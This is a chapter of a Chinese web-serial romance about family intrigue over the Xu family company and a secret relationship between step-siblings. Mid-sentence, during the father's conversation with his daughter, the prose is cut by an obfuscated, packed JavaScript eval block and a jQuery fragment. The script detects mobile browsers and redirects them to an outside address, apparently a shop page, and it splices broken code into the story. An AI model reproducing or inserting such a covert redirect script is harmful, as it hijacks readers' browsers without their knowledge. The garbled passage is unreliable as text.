徐杰昨天晚上又是一夜未归，联系不上徐之珩，韩若云也没有睡好，一早就起了床。


    她吃完早饭以后铺着瑜伽垫在客厅消食拉伸，一抬头，看到徐之珩从楼梯上走下来，看着精神头不错。


    “唉？”


    “怎么了？”看着韩若云的表情，他明知故问。


    “你在家？我以为你昨天晚上回去了，怎么去你房间敲门不开，给你打电话也不接。”


    “哦，我前段时间一直在忙，缺觉，昨天晚上早早睡了，手机也静音了。”


    “真的是，吓死我了。”韩若云眼睛转了一圈，赵姨出去买菜了，徐杰应该也不会回来了，这个时候说正好：“之珩……”


    “早啊徐之珩，早啊韩姨。”


    算盘落空，她才刚刚开口，徐知懿也下来了，她面色看着有点疲惫，手里还拿着个桌面垃圾桶，下楼梯的动作十分缓慢，导致脚步声也极轻。


    “早啊姐姐，”徐之珩端着一杯咖啡走过来，满面春风：“这么久没回家，昨天睡得还好吧。”


    “呵呵，当然好，托你的福，睡得可好了。”


    韩若云从来不知道这俩人什么时候关系这么好了，但听他们说话又好像只是客套，还是带着暗自较劲的感觉的，更加笃定了心里的猜测。


    徐之珩不是不愿意争抢，只是不想被她主导。


    “别站着了，快吃早饭吧。”韩若云又当起了大家长。


    “你们先吃吧，我出去扔个垃圾。”


    徐之珩看了一眼她手中的垃圾桶，昨天晚上就放在她的床头柜上，里面的东西确实不方便让赵姨给打扫。


    “你去吃吧，我帮你扔。”


    韩若云一直注意着他们这边的动静，心下疑惑，这么点小事为什么不等赵姨回来处理，非急着现在倒了，但她不好多问，只当自己多心了。


    徐之珩这一去就是十几分钟，不像是倒在后院分类箱里，更像是走去了外面的公共垃圾亭。


    “怎么去那么久。”韩若云在院子里拦住他，看了看院门口，又看了看身后：“关于去晖杰工作的事情，你有什么打算。”


    “我有计划，你放心吧，在这里说不合适。”


    徐之珩也没想到她急成这样，还在院子里就跟他说这些话，可能是和凯斯这条线断了之后，徐杰对她更加严防死守，她现在也没有了经济收入，实在是走投无路。


    他回屋帮徐知懿清洗了一下垃圾桶，走到餐桌前发现她还没动筷子，在等他。他突然就觉得，真相是什么，韩若云到底有没有亲生儿子都不重要了，只要能和她在一起，什么都不重要了。


    徐之珩情难自已，顾不上韩若云还在客厅，就在桌子底下牵她的手。


    毫无意外，被徐知懿“啧”一声打掉了。


    关于调查韩若云的事情，其实他们两个也完全没有头绪，这个世界上知道徐之珩身世的第三个人，只有玛德琳，可她如今下落不明，徐之珩只是主观觉得她没有死，却一点的线索都没有。


    眼下唯一的办法就是先渗入徐杰和韩若云的生活圈，拿韩若云最想要的东西博取她的信任，走一步算一步看能不能有什么线索。


    做戏就要做全套的。


    徐知懿在工作室工作之余，先独自到晖杰报到，徐杰也没什么特别反应，调了个助理来负责和她对接。这个过程着实说不上舒服，她本人本就对这些管理上的事兴趣平平，再加上她徐杰女儿的身份人尽皆知，没事还要和管理层的老家伙们虚与委蛇，难受至极。


    好在第二周，徐之珩也来了，他做出一副闻讯赶来的模样，让旁观者都误以为他就是来加入这场家产争夺战，一堆人等着看好戏，让事情变得有趣了很多。有时候徐之珩看出她的不耐烦，适时地过去插一脚助她解脱，徐知懿松口气，但在外人看来他还以为是抢风头。


    对于徐家这同父异母的姐弟在公司较劲的事情，每个人想法不尽相同。韩若云的态度不用多说，她现在孤立无援，将这次战役当作最后的救命稻草，可即便如此她口风依旧很紧，徐之珩几次接机套话，却一无所获。


    反观公司职工，只当一场八卦乐子，毕竟现在晖杰降本增效，频频裁员，人人自危，大家的工作已经饱和到了极点，实在没有精力再分给老板的家事。


    这些都在意料之中，徐知懿唯一有点搞不懂的是徐杰的想法。她一直觉得，她和徐之珩表面上是“敌对关系”，但本质上都是他的“亲生骨肉”，这些身外之物，生不带来死不带去，对徐杰来说分给谁都一样才对。


    但她万万没想到，徐杰会私下里找她谈话。


    小径逶迤的中式庭院，极度私密的私人会所，徐知懿跟着服务生走进最里面的包厢，她越走心里越犯嘀咕，到底是什么事，家里说不了，公司说不了，要跑到这种地方才行。


    包厢里只有她们父女二人，服务生在两人的沉默中布好茶退出房间。


    徐杰开口就是一个惊雷：“我不打算给徐之珩一分钱。”


    徐知懿的脑子宕机了，这是什么意思，表态还是在耍什么花招。


    “我没有对不起你和你妈，这些年把她们母子二人留在身边，我有我的苦衷。”


    短短一句话，包含了巨大的信息量，徐知懿想拿起茶杯来压压惊，却发现自己的手一直在抖。


    他说我没有对不起，有苦衷。


    是不是意味着，他知道什么，或者说他是一直都知道徐之珩不是他的亲生孩子。仔细想来确实如此，即便韩若云换了检测样本，这些年间徐杰有无数次机会，私下里偷偷拿到徐之珩的头发或其他什么东西，他只需要再做一次检测，一切都很明了。


    但到底是什么样的苦衷，会让他把一对毫无关系的母子养在身边将近十年。


    “什么意思，爸爸。”


    徐知懿很少这么规矩地喊他爸爸，但现在她迫切地想知道一个答案。


    “爸爸现在没法跟你说很多，我只是想告诉你，你不需要勉强自己在公司做不喜欢的事情。晖杰现在最大的三个股东就是我，徐晖还有你妈妈，百年之后，我和你母亲的股份都是你的，到时晖杰最大的股东只会是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387194|195562||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你。”


    那徐之珩呢。


    他到底是谁。


    北城的夜幕降临，车灯汇聚的河流铺满柏油河床。徐知懿堵在半路上，微信收到一条消息，是徐之珩说今晚要加班，可能会晚些回去。


    他们在公司里针锋相对，下班后却时常去对方的公寓，她家里有他的衣物和剃须刀，他家里也有她的睡衣和洁面乳。


    不像徐知懿的工作室工作相对单一，在晖杰之余，灵珑的业务依旧不能放松，像这样加班的晚上，他会提前报备，徐知懿就会回一句，我在家等你，或者我先去你家了。再晚些时候，她还会关心他什么时候结束，要记得少喝酒。


    但今天她心烦意乱，一直在想徐杰说的话，他的苦衷到底是什么。


    徐之珩又知情吗？他是不是还有什么事情瞒着自己。


    车流涌动，徐知懿按灭锁屏，发动了汽车。


    徐知懿回了自己的房子，凌晨听到密码锁发出嘀嘀声，是徐之珩来了。


    她没有回复他的消息，也没说今天晚上回去谁家，他就直接来了她家。


    徐知懿毫无睡意，抱着电脑窝在沙发上整理素材。


    “还没睡？”徐之珩脱掉带着寒意的外套，没提她不回消息的事情。


    “嗯，整理点素材。”她也不问他是怎么知道她在哪的。


    “我先去洗澡。”


    “好。”


    浴室的水声响起，大团的水雾仿佛穿透墙壁，呛得徐知懿不能呼吸。


    她“啪”一声合上电脑，回屋睡觉。


    吹风机的声音停止，徐之珩摸黑上床，强硬地将她搂进怀里，两人一夜无话。


    接下来的日子里，徐知懿再没去过晖杰，就在家和工作室之间两点一线，机械又疏离地回复着徐之珩的报备消息，极力装作无事地和他相处，有时时刻刻观察着他的一举一动。


    这是一场隐秘的单方面冷战，每分每秒都在磋磨着徐知懿的精神，但她又实在是不知道要怎么开口，因为当自己怀疑他的那一刻起，他所有的解释都可以理解为掩饰。


    又一个寻常夜晚，徐之珩像往常一样回到徐知懿家，她抱着一盘果切从厨房里走出来，叉起一颗草莓放进嘴里，扯了扯嘴角道：“回来了。”


    “嗯。”


    再无下文，徐知懿拿着盘子从他面前走过，脚步一顿，又倒回来把叉了水果的叉子送到他面前：“你要吃吗？”


    徐之珩看看那颗通红的草莓，又看看她。


    他伸手握住她伸过来的手腕，把她拉到自己跟前，低头就吻了上去。


    香甜的草莓气味在两人唇齿间弥漫，徐知懿还感受到了淡淡的酒气。


    “你喝酒了。”她推开他，不记得他今天说要应酬。


    徐之珩把脸靠在她的肩膀上，小心翼翼地喘着气，他声线不稳，有点像是染着哭腔问她：“你怎么不管我了。”


    他越说越委屈，偏头咬她侧颈。


    徐知懿吃痛叫出声，听到他说。


    “要管我知道吗？你不能不管我。”